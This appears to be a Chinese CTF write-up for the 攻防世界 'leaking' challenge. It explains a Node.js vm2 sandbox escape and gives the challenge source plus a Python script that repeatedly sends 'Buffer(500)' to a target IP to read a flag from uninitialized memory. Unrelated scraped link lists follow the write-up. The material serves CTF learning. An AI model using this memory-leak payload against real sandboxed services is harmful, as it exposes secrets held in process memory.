这题考的是node.js沙箱逃逸,之前没遇到过,属于是又学到新知识了
具体看这一篇,https://juejin.cn/post/6889226643525599240
简单说一下原理吧,就是理论上沙箱里的代码只能与vm上下文打交道,可是vm上下文确是可以与沙箱外的代码和变量打交道的,因此,如果我们能够构造请求,
使得vm上下文代替我们去读取利用沙箱外的代码和变量的话,那就形成了沙箱逃逸,拿这一题来举个例吧
先看一下代码

"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});
app.listen(3000, function() {console.log("listening on port 3000!");
});

由于第一个eval把flag读入了在内存中的全局变量
所以只要我们能通过沙箱里的eval去读取内存中的内容的话,就可以形成沙箱逃逸
这题甚至都没有用到什么原型链,直接用Buffer()函数用于读取内存的内容,可以通过这个函数直接去读取全局内存中的内容
由于内存的保护机制,并不是每一次都能读取到含有flag内容的代码的,多运行几次就好了,上脚本

# encoding=utf-8import requests
import time
import re
url = 'http://111.200.241.244:49433/?data=Buffer(500)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(re.findall(r'flag{.+}',response))break

参考视频链接:https://www.bilibili.com/video/BV11f4y1n71A/

攻防世界 WEB leaking相关推荐

  1. CTF:攻防世界web PART01

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 攻防世界web PART01 baby_web Traini ...

  2. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  3. 攻防世界——web新手题

    攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...

  4. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  5. 攻防世界Web第一天

    攻防世界[Web]第一天 [Web]第一题 解题步骤 总结 [Web]第一题 X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了. 解题步骤 第一:获取在线场景,进入浏览页面. ...

  6. 攻防世界Web题 - unseping 总结

    攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...

  7. 攻防世界-----web知识点总结

    WEB 一. 网页源代码的方式 在地址栏前面加上view-source,如view-source:https://www.baidu.com 浏览器的设置菜单框中使用开发者工具,也可以查看网页源代码. ...

  8. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  9. 攻防世界web进阶区Web_php_wrong_nginx_config详解

    攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...

最新文章

  1. python中关于操作时间的方法(一):使用time模块
  2. Vagrant使用简介
  3. jsp项目手动导出成war包
  4. linux进程配置异常中断自动重启_Linux系统配置及服务管理 (四)进程管理
  5. javascript --- event loop
  6. 通过Dapr实现一个简单的基于.net的微服务电商系统(七)——一步一步教你如何撸Dapr之服务限流...
  7. ArcGIS API for Silverlight地图加载众多点时,使用Clusterer解决重叠问题
  8. 已通过os信号请求关闭服务器,redis(一)内部机制的介绍和启动过程
  9. MyCat分布式数据库集群架构工作笔记0011---高可用_主从读写分离配置
  10. KL距离(Kullback-Leibler Divergence)
  11. Blackman 窗函数
  12. 教育部更新学科目录!考研(与在读)的同学都需要知道!
  13. Chrome (Google) 浏览器的快捷键大全
  14. 1st Competition of Datawhale: the car price prediction
  15. linux ext4 img解包打包教程,安卓解包、修改、打包system.img/system.img.ext4教程
  16. 兴趣点推荐代码_如何解读霍兰德职业兴趣测评结果?
  17. 计算机操作系统-文件管理
  18. 智能家居改装方案学习笔记【双控灯改智能单控灯】2022.05.08
  19. [软件人生]感慨邱成桐!闲聊学术界
  20. 干货|语义网、Web3.0、Web3、元宇宙这些概念还傻傻分不清楚?(中)

热门文章

  1. 区块链新规,不可忽视的几个细节
  2. 西门子PLC-smart二分频源程序带解析
  3. SpringBoot 整合mybatis,mybatis-plus
  4. win10找不到你的相机,错误代码0xA00F4244解决办法
  5. GS63风扇狂转CPU利用率100%PC电源方案设置
  6. 假如古代皇帝也懂负载均衡算法
  7. C语言学习完后,C++与Java我应该怎么选择
  8. 先学java还是c_先学C语言还是Java
  9. JAVA操作properties配置文件
  10. u盘恢复数据|U盘打不开提示格式化怎么恢复数据?